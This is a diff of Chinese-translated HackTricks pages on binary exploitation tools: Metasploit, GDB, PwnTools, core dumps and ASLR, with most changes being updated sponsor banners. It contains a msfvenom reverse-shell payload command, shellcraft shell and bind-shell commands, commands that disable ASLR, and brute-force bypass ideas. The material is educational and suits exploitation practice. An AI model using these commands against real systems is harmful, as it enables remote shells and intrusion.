学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -24,7 +25,7 @@ msfelfscan -j esi /opt/fusion/bin/level01
|
|||
```
|
||||
### Shellcodes
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
{% 代码 溢出="wrap" %}
|
||||
```bash
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
|
@ -139,16 +140,16 @@ gef➤ pattern search 0x6261617762616176
|
|||
|
||||
在调试时,GDB的地址**与执行二进制文件时使用的地址略有不同。** 您可以通过以下方式使GDB具有相同的地址:
|
||||
|
||||
- `unset env LINES`
|
||||
- `unset env COLUMNS`
|
||||
- `set env _=<path>` _将二进制文件的绝对路径放在这里_
|
||||
- 利用相同的绝对路径利用二进制文件
|
||||
- 使用GDB和利用二进制文件时,`PWD`和`OLDPWD`必须相同
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<path>` _放置二进制文件的绝对路径_
|
||||
* 使用相同的绝对路径利用二进制文件
|
||||
* 使用GDB和利用二进制文件时,`PWD`和`OLDPWD`必须相同
|
||||
|
||||
#### 回溯以查找调用的函数
|
||||
#### 回溯查找调用的函数
|
||||
|
||||
当您有一个**静态链接的二进制文件**时,所有函数都将属于二进制文件(而不是外部库)。在这种情况下,**识别二进制文件遵循的流程以便例如请求用户输入**将会很困难。\
|
||||
您可以通过**使用gdb运行**二进制文件直到要求输入为止来轻松识别此流程。然后,使用**CTRL+C**停止它,并使用**`bt`**(**backtrace**)命令查看调用的函数:
|
||||
您可以通过使用**gdb**运行二进制文件直到要求输入为止来轻松识别此流程。然后,使用**CTRL+C**停止它,并使用**`bt`**(**backtrace**)命令查看调用的函数:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
@ -163,7 +164,7 @@ gef➤ bt
|
|||
|
||||
## Ghidra
|
||||
|
||||
### 查找栈偏移
|
||||
### 查找堆栈偏移
|
||||
|
||||
**Ghidra** 对于查找**缓冲区溢出的偏移**非常有用,因为它提供了有关本地变量位置的信息。\
|
||||
例如,在下面的示例中,`local_bc` 中的缓冲区溢出表明您需要一个偏移量为 `0xbc`。此外,如果 `local_10` 是一个 canary cookie,则表示从 `local_bc` 覆盖它需要一个偏移量为 `0xac`。\
|
||||
|
@ -197,14 +198,14 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
|||
**-s -j .dtors** --> dtors 部分\
|
||||
**-s -j .got** --> got 部分\
|
||||
\-D -s -j .plt --> **plt** 部分 **反编译**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> 要修改的 "puts" 在 GOT 中的地址\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> 要修改的 "puts" 地址在 GOT 中\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。
|
||||
|
||||
## Core dumps
|
||||
|
||||
1. 在启动程序之前运行 `ulimit -c unlimited`
|
||||
2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
3. 运行 `sudo gdb --core=\<path/core> --quiet`
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## 更多
|
||||
|
||||
|
@ -233,16 +234,17 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
|
|||
|
||||
![](<../../../.gitbook/assets/image (858).png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# PwnTools
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
|
@ -26,7 +27,7 @@ pwn asm -i <filepath>
|
|||
**可选择:**
|
||||
|
||||
* 输出类型 (原始,十六进制,字符串,elf)
|
||||
* 输出文件上下文 (16,32,64,linux,windows...)
|
||||
* 输出文件内容 (16,32,64,linux,windows...)
|
||||
* 避免字节 (换行符,空字符,列表)
|
||||
* 选择编码器调试shellcode使用gdb运行输出
|
||||
|
||||
|
@ -45,7 +46,7 @@ pwn checksec <executable>
|
|||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**可选项:**
|
||||
**可选内容:**
|
||||
|
||||
* 使用的字母表(默认为小写字母)
|
||||
* 唯一模式的长度(默认为4)
|
||||
|
@ -76,7 +77,7 @@ pwn disablenx <filepath>
|
|||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**可以选择:**
|
||||
**可选项:**
|
||||
|
||||
* 上下文 (16,32,64,linux,windows...)
|
||||
* 基地址
|
||||
|
@ -84,13 +85,13 @@ pwn disasm ffe4
|
|||
|
||||
## Pwn elfdiff
|
||||
|
||||
打印出两个文件之间的差异
|
||||
打印两个文件之间的差异
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
## 占有十六进制
|
||||
## 十六进制转换
|
||||
|
||||
获取十六进制表示
|
||||
获取十六进制表示形式
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
|
@ -120,7 +121,7 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
|||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**可选项:**
|
||||
**可以选择:**
|
||||
|
||||
* shellcode和shellcode的参数
|
||||
* 输出文件
|
||||
|
@ -128,7 +129,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||
* 调试(将dbg附加到shellcode)
|
||||
* 在代码之前设置调试陷阱
|
||||
* 在代码之后
|
||||
* 避免使用操作码(默认: 非空和换行符)
|
||||
* 避免使用操作码(默认:非空和换行符)
|
||||
* 运行shellcode
|
||||
* 彩色/无彩色
|
||||
* 列出系统调用
|
||||
|
@ -141,7 +142,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||
```
|
||||
pwn template
|
||||
```
|
||||
**可选项:** 主机、端口、用户、密码、路径和静默
|
||||
**可选项:** 主机,端口,用户,密码,路径和静默
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
|
@ -155,16 +156,17 @@ pwn unhex 686f6c61
|
|||
```
|
||||
pwn update
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享您的黑客技巧**。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,55 @@
|
|||
# 常见二进制利用保护措施和绕过方法
|
||||
# 常见二进制利用保护和绕过方式
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 启用核心文件
|
||||
|
||||
**核心文件**是操作系统在进程崩溃时生成的一种文件类型。这些文件捕获了进程在终止时的内存映像,包括进程的内存、寄存器和程序计数器状态等详细信息。这个快照对于调试和理解崩溃原因非常有价值。
|
||||
**核心文件**是操作系统在进程崩溃时生成的一种文件类型。这些文件在进程终止时捕获了崩溃进程的内存图像,包括进程的内存、寄存器和程序计数器状态等细节。这个快照对于调试和理解崩溃原因非常有价值。
|
||||
|
||||
### **启用核心转储生成**
|
||||
|
||||
默认情况下,许多系统将核心文件的大小限制为0(即不生成核心文件)以节省磁盘空间。要启用核心文件的生成,您可以使用**`ulimit`**命令(在bash或类似的shell中)或配置系统范围的设置。
|
||||
默认情况下,许多系统将核心文件的大小限制为 0(即不生成核心文件)以节省磁盘空间。要启用核心文件的生成,可以使用 **`ulimit`** 命令(在 bash 或类似的 shell 中)或配置系统范围的设置。
|
||||
|
||||
* **使用ulimit**:命令`ulimit -c unlimited`允许当前shell会话创建无限大小的核心文件。这对于调试会话很有用,但在重新启动或新会话中不会持久保留。
|
||||
* **使用 ulimit**:命令 `ulimit -c unlimited` 允许当前 shell 会话创建无限大小的核心文件。这对于调试会话很有用,但在重新启动或新会话中不会持久保留。
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **持久配置**:为了更持久的解决方案,您可以编辑 `/etc/security/limits.conf` 文件,添加类似 `* soft core unlimited` 的一行,这允许所有用户在不必在其会话中手动设置 ulimit 的情况下生成无限大小的核心文件。
|
||||
* **持久配置**:为了更持久的解决方案,您可以编辑 `/etc/security/limits.conf` 文件,添加类似 `* soft core unlimited` 的一行,允许所有用户在不必在其会话中手动设置 ulimit 的情况下生成无限大小的核心文件。
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **使用GDB分析核心文件**
|
||||
### **使用 GDB 分析核心文件**
|
||||
|
||||
要分析核心文件,您可以使用调试工具如GDB(GNU调试器)。假设您有一个生成了核心转储文件的可执行文件,并且核心文件的名称为 `core_file`,您可以开始分析:
|
||||
要分析核心文件,您可以使用调试工具如 GDB(GNU 调试器)。假设您有一个生成了核心转储的可执行文件,核心文件名为 `core_file`,您可以开始分析:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
这个命令将可执行文件和核心文件加载到GDB中,允许您检查程序在崩溃时的状态。您可以使用GDB命令来探索堆栈、检查变量,并了解崩溃的原因。
|
||||
这个命令将可执行文件和核心文件加载到GDB中,允许您在崩溃时检查程序的状态。您可以使用GDB命令来探索堆栈,检查变量,并了解崩溃的原因。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
# ASLR
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
**地址空间布局随机化(ASLR)**是操作系统中使用的一种安全技术,用于**随机化系统和应用程序进程使用的内存地址**。通过这样做,它显著增加了攻击者预测特定进程和数据位置(如堆栈、堆和库)的难度,从而减轻了某些类型的利用,特别是缓冲区溢出。
|
||||
**地址空间布局随机化 (ASLR)** 是操作系统中使用的一种安全技术,用于**随机化系统和应用程序进程使用的内存地址**。通过这样做,它显著增加了攻击者预测特定进程和数据位置(如堆栈、堆和库)的难度,从而减轻了某些类型的利用,特别是缓冲区溢出。
|
||||
|
||||
### **检查ASLR状态**
|
||||
### **检查 ASLR 状态**
|
||||
|
||||
要在Linux系统上**检查**ASLR状态,您可以从**`/proc/sys/kernel/randomize_va_space`**文件中读取值。存储在此文件中的值确定应用的ASLR类型:
|
||||
要在 Linux 系统上**检查** ASLR 状态,可以从 **`/proc/sys/kernel/randomize_va_space`** 文件中读取值。存储在此文件中的值确定应用的 ASLR 类型:
|
||||
|
||||
* **0**:无随机化。一切都是静态的。
|
||||
* **1**:保守随机化。共享库、堆栈、mmap()、VDSO页被随机化。
|
||||
* **2**:完全随机化。除了保守随机化随机化的元素外,通过`brk()`管理的内存也被随机化。
|
||||
* **1**:保守随机化。共享库、堆栈、mmap()、VDSO 页面被随机化。
|
||||
* **2**:完全随机化。除了保守随机化随机化的元素外,通过 `brk()` 管理的内存也被随机化。
|
||||
|
||||
您可以使用以下命令检查ASLR状态:
|
||||
您可以使用以下命令检查 ASLR 状态:
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **禁用 ASLR**
|
||||
|
||||
要**禁用** ASLR,您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。通常不建议在非测试或调试场景下禁用 ASLR。以下是禁用方法:
|
||||
要**禁用** ASLR,您需要将 `/proc/sys/kernel/randomize_va_space` 的值设置为 **0**。通常不建议在测试或调试场景之外禁用 ASLR。以下是禁用方法:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
您还可以通过以下方式禁用执行中的ASLR:
|
||||
您还可以通过以下方式禁用ASLR进行执行:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
|
@ -49,13 +50,13 @@ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
|||
```
|
||||
### **跨重启保持**
|
||||
|
||||
使用`echo`命令进行的更改是临时的,在重新启动后将被重置。要使更改持久化,您需要编辑`/etc/sysctl.conf`文件并添加或修改以下行:
|
||||
使用`echo`命令进行的更改是临时的,将在重启时重置。要使更改持久化,您需要编辑`/etc/sysctl.conf`文件并添加或修改以下行:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
编辑 `/etc/sysctl.conf` 后,使用以下命令应用更改:
|
||||
在编辑 `/etc/sysctl.conf` 文件后,使用以下命令应用更改:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
|
@ -69,19 +70,19 @@ PaX将进程地址空间分为**3组**:
|
|||
|
||||
* **代码和数据**(已初始化和未初始化):`.text`、`.data`和`.bss` —> `delta_exec`变量中的**16位**熵。该变量在每个进程中随机初始化,并添加到初始地址。
|
||||
* 由`mmap()`分配的**内存**和**共享库** —> **16位**,名为`delta_mmap`。
|
||||
* **栈** —> **24位**,称为`delta_stack`。但实际上只使用**11位**(从第10到第20字节,包括在内),对齐到**16字节** —> 这导致**524,288个可能的真实栈地址**。
|
||||
* **堆栈** —> **24位**,称为`delta_stack`。但实际上只使用**11位**(从第10到第20字节,包括在内),对齐到**16字节** —> 这导致**524,288个可能的真实堆栈地址**。
|
||||
|
||||
上述数据适用于32位系统,降低的最终熵使得可以通过多次尝试执行直到利用成功来绕过ASLR。
|
||||
|
||||
#### 暴力破解思路:
|
||||
|
||||
* 如果溢出足够大,可以容纳一个**大型NOP滑梯**,您可以在栈中暴力破解地址,直到流程**跳过NOP滑梯的某部分**。
|
||||
* 另一个选择是,如果溢出不是那么大且可以在本地运行利用,可以**将NOP滑梯和shellcode添加到环境变量**中。
|
||||
* 如果利用是本地的,可以尝试暴力破解libc的基地址(适用于32位系统):
|
||||
* 如果您有足够大的溢出空间来容纳**大型NOP滑梯**,您可以在堆栈中暴力破解地址,直到流程**跳过NOP滑梯的某个部分**。
|
||||
* 另一个选择是,如果溢出空间不那么大且可以在本地运行利用,可以**将NOP滑梯和shellcode添加到环境变量**中。
|
||||
* 如果利用是本地的,您可以尝试暴力破解libc的基地址(适用于32位系统):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* 如果攻击远程服务器,您可以尝试**暴力破解`libc`函数`usleep`的地址**,将10作为参数传递。如果某个时刻**服务器需要额外10秒才能响应**,则找到了该函数的地址。
|
||||
* 当攻击远程服务器时,您可以尝试**暴力破解`libc`函数`usleep`的地址**,将10作为参数传递。如果某个时刻**服务器需要额外10秒才能响应**,则找到了该函数的地址。
|
||||
|
||||
{% hint style="success" %}
|
||||
在64位系统中,熵要高得多,这是不可能的。
|
||||
|
@ -89,7 +90,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|||
|
||||
### 64位堆栈暴力破解
|
||||
|
||||
可以使用环境变量占用堆栈的大部分空间,然后尝试在本地多次滥用二进制文件以利用它。\
|
||||
可以使用环境变量占用堆栈的大部分空间,然后尝试在本地滥用二进制文件数百/数千次以利用它。\
|
||||
以下代码显示了如何**仅选择堆栈中的一个地址**,并且每**几百次执行**,该地址将包含**NOP指令**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
|
@ -167,7 +168,7 @@ pass
|
|||
- **arg\_start** 和 **arg\_end**:**命令行参数** 所在的上方和下方的地址
|
||||
